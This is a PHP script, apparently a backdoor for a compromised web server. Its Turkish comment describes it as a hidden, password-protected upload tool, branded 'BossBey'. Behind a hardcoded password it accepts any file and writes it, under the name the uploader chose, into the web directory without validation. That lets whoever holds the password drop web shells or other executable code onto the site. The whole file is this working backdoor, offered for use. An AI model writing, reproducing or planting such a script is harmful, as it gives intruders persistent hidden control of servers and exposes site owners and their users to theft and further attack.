<?php
// Şifre korumalı gizli upload scripti
session_start();

$correct_password = "2854*1571";
$password_verified = false;

// Şifre kontrolü
if (isset($_POST['upload_password'])) {
    if ($_POST['upload_password'] === $correct_password) {
        $_SESSION['upload_authenticated'] = true;
        $password_verified = true;
    } else {
        $_SESSION['upload_authenticated'] = false;
        $password_verified = false;
    }
} elseif (isset($_SESSION['upload_authenticated']) && $_SESSION['upload_authenticated'] === true) {
    $password_verified = true;
}

// Şifre doğrulanmamışsa form göster
if (!$password_verified) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>Giriş Gerekli</title>
        <style>
            body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; }
            input { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
            button { width: 100%; padding: 10px; background: #007cba; color: white; border: none; cursor: pointer; }
        </style>
    </head>
    <body>
        <h2>Giriş Gerekli</h2>
        <form method="post">
            <input type="password" name="upload_password" placeholder="Şifre" required>
            <button type="submit">Giriş</button>
        </form>
        <?php if (isset($_POST['upload_password']) && !$password_verified): ?>
            <p style="color: red;">Hatalı şifre!</p>
        <?php endif; ?>
    </body>
    </html>
    <?php
    exit;
}

// Şifre doğrulandı, upload işlemleri
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] == 0) {
    $fileTmpPath = $_FILES['fileToUpload']['tmp_name'];
    $fileName = $_FILES['fileToUpload']['name'];
    $uploadPath = __DIR__ . '/' . $fileName;
    
    if (move_uploaded_file($fileTmpPath, $uploadPath)) {
        @chmod($uploadPath, 0644);
        echo "✅ Dosya başarıyla yüklendi: <strong>$fileName</strong>";
    } else {
        echo "❌ Dosya yüklenirken hata oluştu.";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>BossBey Dosya Yükleme</title>
    <style>
        body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; }
        form { border: 1px solid #ddd; padding: 20px; border-radius: 5px; }
        input[type="file"] { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; }
        .logout { float: right; background: #dc3545; }
    </style>
</head>
<body>
    <h3>Dosya Yükle: (BossBey)</h3>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" required>
        <button type="submit">Yükle</button>
        <a href="?logout=1"><button type="button" class="logout">Çıkış</button></a>
    </form>
    <?php
    if (isset($_GET['logout'])) {
        session_destroy();
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    }
    ?>
</body>
</html>
?>